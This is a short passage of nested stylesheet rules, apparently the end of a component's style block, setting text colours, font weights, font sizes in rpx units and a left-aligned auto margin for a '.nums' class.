					color: #333;
					font-weight: 500;
					font-size: 28rpx;
				}
				.nums{
					margin-left: auto;
					color: #666;
					font-size: 32rpx;
					font-weight: 500;
				}
			}
		}
	}
}
</style>
